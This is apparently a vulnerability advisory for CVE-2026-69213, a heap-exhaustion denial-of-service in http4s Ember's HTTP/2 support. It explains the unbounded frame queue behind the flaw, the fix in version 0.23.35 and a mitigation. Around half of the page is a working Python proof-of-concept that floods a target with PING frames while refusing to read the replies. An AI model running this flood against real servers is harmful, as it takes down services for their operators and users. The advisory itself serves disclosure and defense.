high · 7.5CVE-2026-69213Sep 15, 2026

CVE-2026-69213: http4s Ember HTTP/2 Unbounded Outbound Frame Queue DoS

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A single unauthenticated HTTP/2 connection can exhaust the server's heap by flooding it with tiny control frames (PINGs, SETTINGS) faster than the server can write ACKs out, because the internal…

Packageorg.http4s:http4s-ember-core_2.12
Ecosystemmaven
Affected<= 0.23.34
Fixed in0.23.35
CVE-2026-69213: http4s Ember HTTP/2 Unbounded Outbound Frame Queue DoS

The problem

Ember's HTTP/2 implementation serializes all outgoing frames through a single unbounded queue drained by one writer fiber (H2Connection.writeLoop). Every inbound control frame triggers a mandatory ACK the server cannot suppress: one PING ACK per PING, one SETTINGS ACK per SETTINGS, one WINDOW_UPDATE per DATA frame.

If the attacker stops reading from the TCP socket, the writer fiber stalls but the read loop keeps enqueuing ACKs. With no capacity limit on the queue, heap grows without bound until the JVM OOMs. A single unauthenticated connection is enough. Both ember servers (.withHttp2) and ember clients talking to a hostile server are affected.

Proof of concept

A working proof-of-concept for CVE-2026-69213 in org.http4s:http4s-ember-core_2.12, with the exact payload below.

python
# Minimal PING-flood PoC (Python 3, raw sockets over cleartext h2c)
# Sends HTTP/2 PREFACEthen floods PING frames; never reads, so writer stalls and ACKs accumulate in the unbounded queue.

import socket, struct, time

HOST, PORT = "target", 8080

# HTTP/2 client preface
PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

# HTTP/2 frame header: length=8, type=0x6 (PING), flags=0x0, stream_id=0
def ping_frame(opaque: bytes = b"\x00" * 8) -> bytes:
    return struct.pack(">I", 8)[1:] + b"\x06\x00" + struct.pack(">I", 0) + opaque

# Initial SETTINGS frame (empty, length=0)
SETTINGS = struct.pack(">I", 0)[1:] + b"\x04\x00" + struct.pack(">I", 0)

s = socket.create_connection((HOST, PORT))
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

# Shrink our receive buffer so the kernel drops ACKs, stalling the remote writer
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)

s.sendall(PREFACE + SETTINGS)
time.sleep(0.1)  # let server send its SETTINGS

ping = ping_frame()
try:
    while True:
        # Send 1000 PINGs per burst; server must ACK each one
        s.sendall(ping * 1000)
except BrokenPipeError:
    pass

print("Done - check server heap / OOM killer")

The root cause is CWE-400 / CWE-770: the writeLoop in H2Connection.scala used an unbounded Cats Effect Queue with no capacity argument, so offer never blocks or fails regardless of how many frames pile up.

Every inbound PING forces the server to enqueue a PING ACK it cannot defer or drop (required by RFC 9113). Closing the TCP receive window stalls the writer fiber without stalling the reader, so queue depth grows proportionally to the number of PINGs sent. With 17 bytes in, 17 bytes (plus a heap object) are queued, giving near-zero attacker cost per byte of heap consumed.

The patch at commit 13fe24d6440bde2f1eb70121486cf59c278e6bae replaces the unbounded Queue with a bounded queue (or fs2 Channel with a capacity cap), so that when the write side stalls the connection is aborted rather than accumulating frames indefinitely.

The fix

Upgrade to org.http4s:http4s-ember-core_2.12:0.23.35 (or 1.0.0-M47 on the 1.x series). If upgrading immediately is not possible, disable HTTP/2 by removing .withHttp2 from your server/client builder configuration.

Reporter not attributed.

References: [1][2][3][4][5]

Related research